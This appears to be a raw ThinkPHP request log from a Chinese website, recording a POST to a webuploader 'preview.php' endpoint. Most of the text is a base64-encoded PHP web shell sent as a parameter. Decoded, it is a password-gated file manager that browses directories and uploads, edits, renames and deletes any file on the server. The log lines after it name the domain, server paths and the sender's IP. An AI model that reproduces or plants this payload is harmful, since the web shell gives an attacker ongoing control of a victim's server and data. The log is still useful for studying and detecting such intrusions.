'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:23+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/static/manage/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002454s] [吞吐率:407.49req/s] [内存消耗:196.92kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 